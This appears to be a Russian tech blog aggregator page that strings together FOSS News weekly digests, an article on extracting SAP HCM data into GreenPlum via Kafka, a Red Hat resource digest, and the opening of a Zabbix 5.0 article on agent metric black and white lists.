  1. В номинации Лучшее приложение награду получил Bhushan Shah за разработку платформы Plasma Mobile. В прошлом году премия была присуждена Marco Martin за разработку фреймворка Kirigami.
  2. Премия за вклад, не связанный с разработкой приложений, присуждена Carl Schwan за работу по модернизации сайтов KDE. В прошлому году премию получил Nate Graham за ведение блога о ходе разработки KDE.
  3. Специальный приз от жюри присуждён Ligi Toscano за деятельность по локализации KDE. В прошлом году премию получил Volker Krause за участие в разработке различных приложений и фреймворков, включая KDE PIM и KDE Itinerary.
  4. Специальный приз от организации KDE e.V. получили Kenny Coyle, Kenny Duffus, Allyson Alexandrou и Bhavisha Dhruve за работу по проведению конференции KDE Akademy


Источник и ссылки на подробности

Короткой строкой



Мероприятия



  1. Бесплатный вебинар Обзор возможностей Kubespray []
  2. Онлайн митап Zabbix и сессия вопросов/ответов с Алексеем Владышевым []


Открытие кода и данных



  1. Библиотеки сжатия LZHAM и Crunch переведены в общественное достояние []
  2. Компания IBM открыла наработки, связанные с процессором A2O POWER []
  3. Google открыл код ветроэнергетической платформы Makani []
  4. Компания Comodo планирует открыть исходный код продукта Endpoint Detection and Response (EDR) []
  5. VPN провайдер TunnelBear борется с цензурой в Иране и публикует часть своей работы с открытым исходным кодом, что позволяет добавить поддержку ESNI к OkHttp [ 1, 2]


Новости FOSS организаций



  1. Red Hat развивает новую ФС NVFS, эффективную для NVM-памяти []
  2. GitHub опубликовал интерфейс командной строки GitHub CLI 1.0 []
  3. Mozilla заинтересовалась алгоритмами YouTube по странным рекомендациям видео []


Юридические вопросы



  1. Wargaming выдвинула новое обвинение к разработчикам Battle Prime, добавив технодемо 2017 года [ 1, 2]
  2. Open Usage Commons: инициатива Google по управлению товарными знаками для проектов с открытым исходным кодом вызывает споры [ (en)]


Ядро и дистрибутивы



  1. Поддерживаю драйвер tp-link t4u для linux []
  2. Для PinePhone подготовлена универсальная сборка с 13 дистрибутивами []
  3. Gentoo начал распространение универсальных сборок ядра Linux [ 1, 2]
  4. В ядре Linux из текстовой консоли удалили поддержку прокрутки текста [ 1, 2]
  5. Началось бета-тестирование FreeBSD 12.2 []
  6. Обзор Deepin 20: великолепный дистрибутив Linux стал еще красивее (и функциональнее) [ 1 (en), 2, 3]
  7. Manjaro 20.1 Mikah []
  8. Релиз дистрибутива Zorin OS 15.3 []


Безопасность



  1. Уязвимость в Firefox для Android, позволяющая управлять браузером через общий Wi-Fi []
  2. Mozilla сворачивает сервисы Firefox Send и Firefox Notes []
  3. Уязвимость в ftpd из FreeBSD, позволявшая получить root-доступ при использовании ftpchroot []
  4. WSL эксперименты (с точки зрения безопасности). Часть 1 []
  5. Зафиксирован растущий интерес злоумышленников к Linux-системам []


DevOps



  1. От Threat Modeling до безопасности AWS: 50+ open-source инструментов для выстраивания безопасности DevOps []
  2. Google добавил поддержку Kubernetes в Confidential Computing []
  3. Хранение данных в кластере Kubernetes []
  4. Как и зачем в Lyft улучшали Kubernetes CronJobs []
  5. У нас там Postgres, но я хз что с ним делать (с) []
  6. Go? Bash! Встречайте shell-operator (обзор и видео доклада с KubeCon EU'2020) []
  7. Команда поддержки систем хранения данных Bloomberg полагается на открытый исходный код и SDS []
  8. Kubernetes для тех, кому за 30. Николай Сивко (2018г) []
  9. Практический пример подключения хранилища на базе Ceph в кластер Kubernetes []
  10. Мониторинг NetApp Volumes через SSH []
  11. Краткое руководство по разработке чартов в Helm []
  12. Легкая работа со сложными алертами. Или история создания Balerter []
  13. Поддержка черных и белых списков для метрик на стороне агента в Zabbix 5.0 []
  14. Разработка и тестирование Ansible-ролей с использованием Molecule и Podman []
  15. Об удалённом обновлении устройств, включая прошивки и загрузчики, с помощью UpdateHub [ (en)]
  16. Как Nextcloud упростил процесс регистрации для децентрализованной архитектуры [ (en)]


Web



Прекращение разработки библиотеки Moment.js, имеющей 12 млн загрузок в неделю []

Для разработчиков



  1. Запущен новый сайт о платформе KDE для разработчиков []
  2. Как убрать из Git-репозитория файлы с конфиденциальной информацией []
  3. Среда разработки PHP на базе Docker []
  4. Pysa: как избежать проблем безопасности в коде Python []
  5. Опрос о состоянии Rust 2020 []
  6. 3 способа защититься от синдрома самозванца (не относится напрямую к FOSS, но опубликовано на тематическом ресурсе и вдруг кому будет полезно) [ (en)]
  7. Добавление механики броска в Python игру [ (en)]
  8. Настройка сервера управления проектами с помощью канбана Wekan на GNU/Linux [ (en)]


Пользовательское



  1. На этой неделе в KDE: Akademy творит чудеса []
  2. Как пользоваться iperf []
  3. Выбираем лучший принтер для Linux []
  4. Установка Pop OS []
  5. Обзор Ext4 vs Btrfs vs XFS []
  6. Установка Gnome Tweak Tool в Ubuntu []
  7. Релиз Twitter-клиента Cawbird 1.2.0. Что нового []
  8. Как исправить ошибку Repository is not valid yet в Ubuntu Linux? [ (en)]
  9. Как запустить несколько команд за раз в GNU/Linux терминале? (для совсем новичков) [ (en)]
  10. Линукспросвет: что такое Long Term Support (LTS) релиз? Что такое Ubuntu LTS? [ (en)]
  11. KeePassXC, отличный развиваемый сообществом открытый менеджер паролей [ (en)]
  12. Что нового в rdiff-backup после миграции на Python 3? [ (en)]
  13. Об анализе скорости запуска Linux с помощью systemd-analyze [ (en)]
  14. Об улучшении тайм-менеджмента с помощью Jupyter [ (en)]
  15. Сравнение того, как разные языки программирования решают одну модельную задачу благотворительности. Очередь Python [ (en)]


Железо



Для ноутбуков Slimbook Essential предлагается широкий выбор Linux-систем []

Разное



  1. ARM начинает поддерживать свободный драйвер Panfrost []
  2. Microsoft реализовал поддержку корневого окружения для Hyper-V на базе Linux [ 1, 2]
  3. Об управлении Raspberry Pi с помощью Ansible [ (en)]
  4. Об обучении Python с помощью Jupyter Notebooks [ (en)]
  5. 3 открытых альтернатив Confluence [ (en)]
  6. О преодолении сопротивления открытому подходу в управлении [ (en)]


Релизы



Ядро и дистрибутивы



  1. Проект Genode опубликовал выпуск ОС общего назначения Sculpt 20.08 []
  2. Осеннее обновление ALT p9 starterkits []
  3. Доступен Solaris 11.4 SRU25 []
  4. Выпуск FuryBSD 2020-Q3, Live-сборки FreeBSD с рабочими столами KDE и Xfce []


Системный софт



Выпуск драйвера NVIDIA 455.23.04 c поддержкой GPU RTX 3080 (драйвер не FOSS, но для FOSS операционных систем и важный, поэтому включён в дайджест) []

Безопасность



  1. Выпуск новой стабильной ветки Tor 0.4.4 []
  2. Компания Cisco выпустила свободный антивирусный пакет ClamAV 0.103 []


Для разработчиков



  1. Выпуск Java SE 15 []
  2. Выпуск компилятора для языка программирования Vala 0.50.0 []
  3. Выпуск сборочного инструментария Qbs 1.17 []


Специальный софт



Выпуск Magma 1.2.0, платформы для быстрого развёртывания LTE-сетей []

Мультимедиа



  1. digiKam 7.1.0. Программа для работы с фото. Что нового []
  2. Выпущены аудиоэффекты LSP Plugins 1.1.26 []
  3. Релиз программы Simplest Studio 2020 SE для оптимизации FLAC и WAV []
  4. Релиз BlendNet 0.3, дополнения для организации распределенного рендеринга []


Игры



Battle for Wesnoth 1.14.14 Битва за Веснот []

Пользовательский софт



  1. Выпуск пользовательского окружения GNOME 3.38 [ 1, 2, 3, 4, 5 (en)]
  2. Доступна бета-версия KDE Plasma 5.20 []
  3. Выпуск почтового клиента Geary 3.38 []





На этом всё, до следующего воскресенья!

Высказываю большое спасибо редакции OpenNET, много новостных материалов и сообщений о новых релизах взято с их сайта.

Если кто интересуется составлением дайджестов и имеет время и возможность помочь буду рад, пишите по контактам, указанным в моём профиле, или в личные сообщения.

Подписывайтесь на наш Telegram канал, группу ВКонтакте или RSS чтобы не пропустить новые выпуски FOSS News.

Ещё вам может быть интересен короткий дайджест от opensource.com (en) с новостями последней недели, он практически не пересекается с моим.

Предыдущий выпуск
Подробнее..

FOSS News 35 дайджест новостей и других материалов о свободном и открытом ПО за 21-27 сентября 2020 года

25.09.2020 22:13:02 | Автор: admin


Всем привет!

Продолжаем дайджесты новостей и других материалов о свободном и открытом ПО и немного о железе. Всё самое главное про пингвинов и не только, в России и мире. Кто займётся развитием безопасности открытого ПО, как программное обеспечение с открытым исходным кодом изменило деловой мир, помощь в борьбе с коронавирусом может оказать каждый владелец ПК, вдохновлённый научной фантастикой эмулятор терминала, как поучаствовать в Open Source разработке, инициатива запрета протоколов позволяющих скрыть имя сайта и многое другое.

Этот выпуск выходит в пятницу вечером вместо воскресенья потому что в субботу утром я улетаю в долгожданный отпуск. Следующий выпуск, если всё пойдёт по плану, выйдет 5-го октября, в понедельник, вечером.

Оглавление


  1. Главное
    1. Кто займётся развитием безопасности открытого ПО обсуждаем новые проекты и их будущее
    2. Как программное обеспечение с открытым исходным кодом изменило деловой мир?
    3. Rosetta@home: Помощь в борьбе против COVID-19 с помощью вашей Linux системы
    4. eDEX-UI, вдохновлённый научной фантастикой эмулятор терминала, который мы заслужили
    5. Как поучаствовать в Open Source проекте? 8 ответов новичку
    6. В РФ намерены запретить протоколы, позволяющие скрыть имя сайта
  2. Короткой строкой
    1. Мероприятия
    2. Открытие кода и данных
    3. Новости FOSS организаций
    4. Ядро и дистрибутивы
    5. Специальное
    6. Безопасность
    7. DevOps
    8. Data Science
    9. Web
    10. Для разработчиков
    11. Общее
    12. Игры
    13. Железо
    14. Разное
  3. Релизы
    1. Ядро и дистрибутивы
    2. Системный софт
    3. Безопасность
    4. DevOps
    5. Web
    6. Специальный софт
    7. Мультимедиа
    8. Общий софт


Главное



Кто займётся развитием безопасности открытого ПО обсуждаем новые проекты и их будущее





1cloud в новом материале в своём блоге на Хабре пишет: В августе Linux Foundation основали фонд OpenSSF. В него вошли Core Infrastructure Initiative и Open Source Security Coalition. Их участники разработают инструментарий для поиска уязвимостей в коде и верификации программистов, участвующих в его написании. Рассказываем, что к чему. Пользу в появлении нового фонда автор видит в возможном снижении количества багов, обобщении опыта в методологиях разработки и прозрачности процесса отбора специалистов.

Подробности

Как программное обеспечение с открытым исходным кодом изменило деловой мир?





ZDnet пишет: Эрик Реймонд, один из основателей ПО с открытым исходным кодом, писал в своей основополагающей работе Собор и базар: Всякая хорошая работа [с открытым исходным кодом] начинается с того, чтобы удовлетворить личные потребности разработчика. В этом много правды. Так начинались жизненно важные программы, такие как веб-сервер Apache, MySQL и Linux, а также множество небольших программ. Но вряд ли у многих людей был личный зуд от создания гигантских вертикальных программ, таких как OpenDaylight и OPNFV для телекоммуникаций или Unified Code Base для Automotive Grade Linux (AGL). Сегодня вертикальные компании, ориентированные на узкие интересы, также с распростёртыми объятиями используют методы и программное обеспечение с открытым исходным кодом.

Подробности (en)

Rosetta@home: Помощь в борьбе против COVID-19 с помощью вашей Linux системы





Its FOSS пишет в новом материале: Хотите внести свой вклад в исследование коронавируса? Для этого не обязательно быть ученым. Вы можете отдать часть своей вычислительной мощности благодаря проекту Rosetta@home. Rosetta@home это проект распределённых вычислений для прогнозирования структуры белков, базирующийся в лаборатории Бейкера в Вашингтонском университете и работающий на платформе с открытым исходным кодом Berkeley Open Infrastructure for Network Computing (BOINC), которая изначально была разработана для поддержки SETI@home.

Подробности (en)

eDEX-UI, вдохновлённый научной фантастикой эмулятор терминала, который мы заслужили





Its FOSS рассказывает о примечательном кроссплатформенном эмуляторе терминала: eDEX-UI крутой эмулятор терминала, вдохновленный научной фантастикой, который отлично выглядит с множеством опций, таких как например мониторинг системы. Здесь мы кратко рассмотрим, что он предлагает. Вы, наверное, уже знаете множество забавных команд Linux. Знаете, что ещё может быть интересным, когда дело касается командной строки Linux? Сам терминал. Да, эмулятор терминала (обычно известный как терминал) тоже может быть довольно забавным. Помните терминал Cool Retro Term, который дает вам винтажный терминал 80-х и начала 90-х? Как насчет терминала, который во многом вдохновлен эффектами фильма TRON Legacy?.

Подробности и видеообзор (en)

Как поучаствовать в Open Source проекте? 8 ответов новичку





Tproger пишет Участие в Open Source проектах это возможность усовершенствовать свои навыки, создавая при этом что-то новое или улучшая уже существующее. Начинающие программисты могут не только пополнить багаж знаний, научиться работать с чужим кодом и получать фидбек от опытных программистов, но также пополнить портфолио первой серьёзной работой и приводит советы опытных разработчиков и других людей из IT.

Подробности

В РФ намерены запретить протоколы, позволяющие скрыть имя сайта





Тема не касается непосредственно FOSS, но весьма смежная, да и все мы (ну почти все) живём в России и последовательное ужесточение IT и не только IT законодательства касается всех. Россия в рейтинге свободы интернета по версии 2018 года ниже Гамбии и Таиланда и по версии 2019 на последнем месте в Европе. Но вернёмся собственно к теме. OpenNET пишет: Началось общественное обсуждение проекта правового акта о внесении изменений в Федеральный закон Об информации, информационных технологиях и о защите информации, разработанного Министерством цифрового развития, связи и массовых коммуникаций. В закон предложено ввести запрет на использование на территории Российской Федерации протоколов шифрования, позволяющих скрыть имя (идентификатор) Интернет-страницы или сайта в сети Интернет, за исключением случаев, установленных законодательством Российской Федерации.

Подробности

Короткой строкой



Мероприятия



10-11 октября Arch Conf Online 2020 []

Открытие кода и данных



Компания Frictional Games открыла код игр серии Amnesia [ 1, 2]

Новости FOSS организаций



  1. Linux Journal возвращается []
  2. Анонс Linux Foundation Certified IT Associate (LFCA) системы сертификации ИТ-навыков []
  3. Дайджест от RedHat: Шпаргалка по Ansible k8s, практичный учебник по awk, а также 4 причины использовать Jamstack при веб-разработке []
  4. Как меняется бизнес Docker для обслуживания миллионов разработчиков, часть 1: Хранилище []
  5. Бесплатный вводный курс по Linux превысил один миллион участников [ (en)]


Ядро и дистрибутивы



  1. Solaris перешёл на модель непрерывной доставки обновлений []
  2. eBPF: современные возможности интроспекции в Linux, или Ядро больше не черный ящик []


Специальное



Хранение знаний с помощью BlueSpice, открытой альтернативы Confluence [ (en)]

Безопасность



  1. OpenPGP переписывают на Rust: проект Sequoia []
  2. Поиск проблем безопасности в коде на Go с помощью gosec [ (en)]


DevOps



  1. Краткий обзор операторов PostgreSQL для Kubernetes, наш выбор и опыт []
  2. Выводы за год миграции GitLab.com на Kubernetes []
  3. Создание резервной копии MySQL при помощи утилиты XtraBackup []
  4. MinIo для самых маленьких []
  5. Экстракция данных из SAP HCM в non-SAP хранилища данных []
  6. Пять промахов при развертывании первого приложения на Kubernetes []
  7. Новые шаблоны в Zabbix IPMI, Mikrotik, MSSQL []
  8. Opennebula. Короткие записки []
  9. Обзор возможностей Kubespray: Отличие оригинальной версии и форка Southbridge []
  10. 3 года с Kubernetes в production: опыт компании Флант []
  11. Пять вопросов о Ceph с пояснениями []
  12. Наиболее интересные факты о Ceph по результатам опроса пользователей в 2019 году []
  13. О запуске виртуальных машин на Kubernetes с помощью KubeVirt [ (en)]
  14. 7 вещей, которые вы можете сделать с Ansible прямо сейчас [ (en)]


Data Science



  1. Защита фото от систем распознавания лиц работает? []
  2. Как трекать людей в масках или универсальный подход к трекингу объектов произвольной природы []


Web



  1. Прекращена разработка проекта uMatrix []
  2. 5 плюсов браузера Mozilla Firefox, которых нет у Google Chrome []
  3. Как использовать функцию изоляции сайтов в Firefox Nightly уже сейчас []


Для разработчиков



  1. Почему важно проводить статический анализ открытых библиотек, которые вы добавляете в свой проект []
  2. 5 вопросов, которые стоит задать себе при написании документации по проекту [ (en)]
  3. Автоматизация системных тестов на базе QEMU (Часть 1/2) []
  4. Git compare: быстрый способ сравнить две ветки []
  5. Переписывание истории репозитория кода, или почему иногда можно git push -f []
  6. Нам нужно поговорить про Linux IIO []
  7. 10 Open Source генераторов статических сайтов для создания быстрых и экономных ресурсов [ (en)]
  8. Сравнение того, как разные языки программирования решают одну модельную задачу благотворительности. Очередь Java [ (en)]


Общее



  1. Путешествие в мир Linux и Git (для новичков) []
  2. Plasma 6 сможет использовать графический API Vulkan для отрисовки рабочего окружения []
  3. Какую файловую систему выбрать для Linux []
  4. GNOME меняет нумерацию версий. Будет сразу GNOME 40 []
  5. Установка Microsoft Office в Linux []
  6. Файловая система Ext4 []
  7. Лучшие антивирусы для Linux []
  8. Как подключиться к Linux из Windows []
  9. Тестирование рабочего стола KDE Plasma 5.20 [ 1, 2, 3]
  10. Простая настройка прозрачности изображения с помощью GIMP [ (en)]
  11. Придайте своему рабочему столу GNOME мозаичный вид с помощью расширения GNOME Material Shell [ (en)]
  12. Линукспросвет: что такое rolling релиз дистрибутив? [ (en)]
  13. Какие возможности появились у утилиты rdiff-backup благодаря миграции на Python 3 (было в прошлом выпуске, но на английском, а тут перевод) []


Игры



Игра Охота на лис, созданная для микрокалькуляторов МК-61, адаптирована для Linux (олды тут? :)) []

Железо



  1. Началась предустановка Ubuntu 20.04 на устройства Lenovo ThinkPad и ThinkStation [ 1, 2, 3]
  2. Представлена платформа Precursor для создания свободных мобильных устройств [ 1, 2]
  3. Компания Mozilla отправила проект WebThing в свободное плавание []


Разное



  1. 7 прикольных команд терминалов Linux и macOS, которые заставят вас улыбнуться []
  2. Запуск Linux приложений на Chromebook с помощью Crostini [ 1, 2 (en)]
  3. Обучение детей языку Python с помощью редактора Mu [ (en)]
  4. Как создать вместе с детьми первый алгоритм с помощью Scratch [ (en)]
  5. Рассказ преподавателя о том, как учащиеся научили его программировать [ (en)]
  6. Python скрипт для симуляции вычислительной машины Бэббиджа [ (en)]
  7. Получение доверия: как занять своё место в меритократии [ (en)]


Релизы



Ядро и дистрибутивы



  1. Выпуск дистрибутива 4MLinux 34.0 [ 1, 2]
  2. Тринадцатое обновление прошивки Ubuntu Touch []
  3. Выпуск Puppy Linux 9.5, дистрибутива для устаревших компьютеров [ 1, 2]
  4. Выпуск дистрибутива KaOS 2020.09 []
  5. Выпуск дистрибутива EndeavourOS 2020.09.20, теперь доступного и для ARM-плат []
  6. SystemRescueCD 6.1.8 []
  7. Доступен CODE 6.4, дистрибутив для развёртывания LibreOffice Online []


Системный софт



Состоялся релиз Rocm 3.8.0 []

Безопасность



  1. Доступны Tor Browser 10.0 и дистрибутив Tails 4.11 []
  2. Релиз антивируса ClamAV 0.103.0 []
  3. Кандидат в релизы системы обнаружения атак Snort 3 []


DevOps



  1. Релиз СУБД PostgreSQL 13 [ 1, 2]
  2. Выпуск глобальной децентрализованной файловой системы IPFS 0.7 []
  3. Выпуск Samba 4.13.0 []


Web



  1. Выпуск Vue.js 3.0.0, фреймворка для создания пользовательских интерфейсов []
  2. Выпуск интегрированного набора интернет-приложений SeaMonkey 2.53.4 []
  3. Релиз Firefox 81 [ 1, 2, 3, 4]
  4. Обновление почтового клиента Thunderbird 78.3.0 []
  5. Выпуск Firefox Reality 12, браузера для устройств виртуальной реальности []


Специальный софт



  1. Проект Wine выпустил Vkd3d 1.2 с реализацией Direct3D 12 []
  2. Релиз системы управления коллекцией электронных книг Calibre 5.0 [ 1, 2]


Мультимедиа



Релиз редактора изображений Drawing 0.6.0 []

Общий софт



  1. Vifm 0.11 []
  2. Релиз программы для создания скриншотов Flameshot 0.8.0 []





На этом всё, до 5-го октября!

Высказываю большое спасибо OpenNET, много новостных материалов и сообщений о новых релизах взято с их сайта.

Если кто интересуется составлением дайджестов и имеет время и возможность помочь буду рад, пишите по контактам, указанным в моём профиле, или в личные сообщения.

Подписывайтесь на наш Telegram канал, группу ВКонтакте или RSS чтобы не пропустить новые выпуски FOSS News.

Ещё вам может быть интересен короткий дайджест от opensource.com (en) с новостями последней недели, он практически не пересекается с моим.

Также стоит посмотреть новый выпуск близкого моему новостного обзора с сайта Пингвинус #24.

Предыдущий выпуск
Подробнее..

Экстракция данных из SAP HCM в non-SAP хранилища данных

23.09.2020 16:18:12 | Автор: admin
Как известно, компания SAP предлагает полный спектр программного обеспечения, как для ведения транзакционных данных, так и для обработки этих данных в системах анализа и отчетности. В частности платформа SAP Business Warehouse (SAP BW) представляет собой инструментарий для хранения и анализа данных, обладающий широкими техническими возможностями. При всех своих объективных преимуществах система SAP BW обладает одним значительным недостатком. Это высокая стоимость хранения и обработки данных, особенно заметная при использовании облачной SAP BW on Hana.

А что если в качестве хранилища начать использовать какой-нибудь non-SAP и желательно OpenSource продукт? Мы в Х5 Retail Group остановили свой выбор на GreenPlum. Это конечно решает вопрос стоимости, но при этом сразу появляются вопросы, которые при использовании SAP BW решались практически по умолчанию.



В частности, каким образом забирать данные из систем источников, которые в большинстве своем являются решениями SAP?

HR-метрики стал первым проектом, в котором необходимо было решить эту проблему. Нашей целью было создание хранилища HR-данных и построение аналитической отчетности по направлению работы с сотрудниками. При этом основным источником данных является транзакционная система SAP HCM, в которой ведутся все кадровые, организационные и зарплатные мероприятия.

Экстракция данных


В SAP BW для SAP-систем существуют стандартные экстракторы данных. Эти экстракторы могут автоматически собирать необходимые данные, отслеживать их целостность, определять дельты изменений. Вот, например, стандартный источник данных по атрибутам сотрудника 0EMPLOYEE_ATTR:



Результат экстракции данных из него по одному сотруднику:



При необходимости такой экстрактор может быть модифицирован под собственные требования или может быть создан свой собственный экстрактор.

Первой возникла идея о возможности их переиспользования. К сожалению, это оказалось неосуществимой задачей. Большая часть логики реализована на стороне SAP BW, и безболезненно отделить экстрактор на источнике от SAP BW не получилось.

Стало очевидно, что потребуется разработка собственного механизма извлечения данных из SAP систем.

Структура хранения данных в SAP HCM


Для понимания требований к такому механизму, первоначально нужно определить какие именно данные нам потребуются.

Большинство данных в SAP HCM хранится в плоских SQL таблицах. На основании этих данных приложения SAP визуализируют пользователю оргструктуры, сотрудников и прочую HR информацию. Например, вот так в SAP HCM выглядит оргструктура:



Физически такое дерево хранится в двух таблицах в hrp1000 объекты и в hrp1001 связи между этими объектами.

Объекты Департамент 1 и Управление 1:



Связь между объектами:



Как типов объектов, так и типов связи между ними может быть огромное количество. Существуют как стандартные связи между объектами, так и кастомизированные для собственных специфичных нужд. Например, стандартная связь B012 между оргединицей и штатной должностью указывает на руководителя подразделения.

Отображение руководителя в SAP:



Хранение в таблице БД:



Данные по сотрудникам хранятся в таблицах pa*. Например, данные о кадровых мероприятиях по сотруднику хранятся в таблице pa0000



Мы приняли решение, что GreenPlum будет забирать сырые данные, т.е. просто копировать их из SAP таблиц. И уже непосредственно в GreenPlum они будут обрабатываться и преобразовываться в физические объекты (например, Отдел или Сотрудник) и метрики (например, среднесписочная численность).

Было определено порядка 70 таблиц, данные из которых необходимо передавать в GreenPlum. После чего мы приступили к проработке способа передачи этих данных.

SAP предлагает достаточно большое количество механизмов интеграции. Но самый простой способ прямой доступ к базе данных запрещен из-за лицензионных ограничений. Таким образом, все интеграционные потоки должны быть реализованы на уровне сервера приложений.
Следующей проблемой было отсутствие данных об удаленных записях в БД SAP. При удалении строки в БД, она удаляется физически. Т.е. формирование дельты изменений по времени изменения не представлялось возможным.

Конечно, в SAP HCM есть механизмы фиксация изменений данных. Например, для последующей передачи в системы получатели существуют указатели изменений(change pointer), которые фиксируют любые изменения и на основании которых формируются Idoc (объект для передачи во внешние системы).

Пример IDoc изменения инфотипа 0302 у сотрудника с табельным номером 1251445:



Или ведение логов изменений данных в таблице DBTABLOG.

Пример лога удаления записи с ключом QK53216375 из таблицы hrp1000:



Но эти механизмы доступны не для всех необходимых данных и их обработка на уровне сервера приложений может потреблять достаточно много ресурсов. Поэтому массовое включение логирования на все необходимые таблицы может привести к заметной деградации производительности системы.

Следующей серьезной проблемой были кластерные таблицы. Данные оценки времени и расчета зарплаты в RDBMS версии SAP HCM хранятся в виде набора логических таблиц по каждому сотруднику за каждый расчет. Эти логические таблицы в виде двоичных данных хранятся в таблице pcl2.

Кластер расчета заработной платы:



Данные из кластерных таблиц невозможно считать SQL командой, а требуется использование макрокоманд SAP HCM или специальных функциональных модулей. Соответственно, скорость считывания таких таблиц будет достаточно низка. С другой стороны, в таких кластерах хранятся данные, которые необходимы только раз в месяц итоговый расчет заработной платы и оценка времени. Так что скорость в этом случае не столь критична.

Оценивая варианты с формированием дельты изменения данных, решили так же рассмотреть вариант с полной выгрузкой. Вариант каждый день передавать гигабайты неизменных данных между системами не может выглядеть красиво. Однако он имеет и ряд преимуществ нет необходимости как реализации дельты на стороне источника, так и реализация встраивания этой дельты на стороне приемника. Соответственно, уменьшается стоимость и сроки реализации, и повышается надежность интеграции. При этом было определено, что практически все изменения в SAP HR происходят в горизонте трех месяцев до текущей даты. Таким образом, было принято решение остановиться на ежедневной полной выгрузке данных из SAP HR за N месяцев до текущей даты и на ежемесячной полной выгрузке. Параметр N зависит от конкретной таблицы
и колеблется от 1 до 15.

Для экстракции данных была предложена следующая схема:



Внешняя система формирует запрос и отправляет его в SAP HCM, там этот запрос проверяется на полноту данных и полномочия на доступ к таблицам. В случае успешной проверки, в SAP HCM отрабатывает программа, собирающая необходимые данные и передающая их в интеграционное решение Fuse. Fuse определяет необходимый топик в Kafka и передает данные туда. Далее данные из Kafka передаются в Stage Area GP.

Нас в данной цепочке интересует вопрос извлечения данных из SAP HCM. Остановимся на нем подробнее.

Схема взаимодействия SAP HCM-FUSE.



Внешняя система определяет время последнего успешного запроса в SAP.
Процесс может быть запущен по таймеру или иному событию, в том числе может быть установлен таймаут ожидания ответа с данными от SAP и инициация повторного запроса. После чего формирует запрос дельты и отправляет его в SAP.

Данные запроса передаются в body в формате json.
Метод http: POST.
Пример запроса:



Сервис SAP выполняет контроль запроса на полноту, соответствие текущей структуре SAP, наличие разрешения доступа к запрошенной таблице.

В случае ошибок сервис возвращает ответ с соответствующим кодом и описанием. В случае успешного контроля он создает фоновый процесс для формирования выборки, генерирует и синхронно возвращает уникальный id сессии.

Внешняя система в случае ошибки регистрирует ее в журнале. В случае успешного ответа передает id сессии и имя таблицы по которой был сделан запрос.

Внешняя система регистрирует текущую сессию как открытую. Если есть другие сессии по данной таблице, они закрываются с регистрацией предупреждения в журнале.

Фоновое задание SAP формирует курсор по заданным параметрам и пакет данных заданного размера. Размер пакета максимальное количество записей, которые процесс читает из БД. По умолчанию принимается равным 2000. Если в выборке БД больше записей, чем используемый размер пакета после передачи первого пакета формируется следующий блок с соответствующим offset и инкрементированным номером пакета. Номера инкрементируются на 1 и отправляются строго последовательно.

Далее SAP передает пакет на вход web-сервису внешней системы. А она система выполняет контроли входящего пакета. В системе должна быть зарегистрирована сессия с полученным id и она должна находиться в открытом статусе. Если номер пакета > 1 в системе должно быть зарегистрировано успешное получение предыдущего пакета (package_id-1).

В случае успешного контроля внешняя система парсит и сохраняет данные таблицы.

Дополнительно, если в пакете присутствует флаг final и сериализация прошла успешно, происходит уведомление модуля интеграции об успешном завершении обработки сессии и модуль обновляет статус сессии.

В случае ошибки контролей/разбора ошибка логируется и пакеты по данной сессии будут отклоняться внешней системой.

Так же и в обратном случае, когда внешняя система возвращает ошибку, она логируется и прекращается передача пакетов.

Для запроса данных на стороне SAP HСM был реализован интеграционный сервис. Сервис реализован на фреймворке ICF (SAP Internet Communication Framework help.sap.com/viewer/6da7259a6c4b1014b7d5e759cc76fd22/7.01.22/en-US/488d6e0ea6ed72d5e10000000a42189c.html). Он позволяет производить запрос данных из системы SAP HCM по определенным таблицам. При формировании запроса данных есть возможность задавать перечень конкретных полей и параметры фильтрации с целью получения необходимых данных. При этом реализация сервиса не предполагает какой-либо бизнес-логики. Алгоритмы расчёта дельты, параметров запроса, контроля целостности, и пр. также реализуются на стороне внешней системы.

Данный механизм позволяет собирать и передавать все необходимые данные за несколько часов. Такая скорость находится на грани приемлемой, поэтому это решение рассматривается нами как временное, позволившее закрыть потребность в инструменте экстракции на проекте.
В целевой картине для решения задачи экстракции данных прорабатываются варианты использования CDC систем типа Oracle Golden Gate или ETL инструментов типа SAP DS.
Подробнее..

Шпаргалка по Ansible k8s, практичный учебник по awk, а также 4 причины использовать Jamstack при веб-разработке

24.09.2020 14:19:46 | Автор: admin


Традиционно короткий дайджест полезных материалов, найденных нами в сети за последние две недели.

Начни новое:



Качай:


  • Шпаргалка по Ansible k8s
    Ansible k8s это специальный модуль для управления объектами Kubernetes из плейбуков Ansible. Как объединить Ansible и Kubernetes при автоматизации облака? Ответ: использовать модуль Ansible k8s, чтобы управлять объектами Kubernetes прямо из плейбуков. И поможет в этом наша шпаргалка, которая содержит полезные советы и сведения по ключевым командам этого модуля.
  • Шпаргалка по тестированию приложений Quarkus


  • Книжка-раскраска Контейнерные супергерои
    Децентрализованная команда опенсорсных контейнерных супергероев в лице Podman, CRI-O, Buildah, Skopeo и OpenShift спасает Землю от атаки астероидов, развертывая над планетой защитный экран.



Почитать на досуге:



Мероприятия:


  • 30 сентября, jconf.dev
    Бесплатная виртуальная Java-конференция прямо у вас на экране. Четыре технотрека с экспертами по Java и облаку, 28 углубленных сессий и два потрясающих основных доклада.
  • 13-14 октября, AnsibleFest
    Выступления, демонстрации, практические занятия и все это в онлайне. Отличная возможность виртуально пообщаться с девелоперами, админами и ЛПР-ами, которые успешно справляются с вызовами перемен с помощью опенсорсных технологий ИТ-автоматизации.

По-русски:


Мы продолжаем серию пятничных вебинаров про нативный опыт использования Red Hat OpenShift Container Platform и Kubernetes. Регистрируйтесь и приходите:

Император Оператор: Операторы в OpenShift и Kubernetes
Упс, вебинар прошел, но есть запись.

OpenShift-специфичные волшебные вещи для сборки и развертывания приложений
Вебинар кончился, но остался в истории ловите запись.

Подробнее..

Поддержка черных и белых списков для метрик на стороне агента в Zabbix 5.0

15.09.2020 16:23:12 | Автор: admin


Поддержка черных и белых списков для метрик на стороне агента


Тихон Усков, Инженер интеграции, Zabbix


Проблемы безопасности данных


В Zabbix 5.0 появилась новая функция, которая позволяет улучшить безопасность в системах с использованием Zabbix Agent и заменяет старый параметр EnableRemoteCommands.


Усовершенствование безопасности систем с использованием агента обусловлено тем фактом, что агент может выполнять большое количество потенциально опасных действий.


  • Агент может собирать практически любую информацию, в том числе конфиденциального или потенциально опасного характера, из файлов конфигурации, файлов логов, файлов с паролями или любых других файлов.

Например, с помощью утилиты zabbix_get можно получить доступ к списку пользователей, их домашним каталогам, файлам с паролями и т. д.



Доступ к данным с помощью утилиты zabbix_get


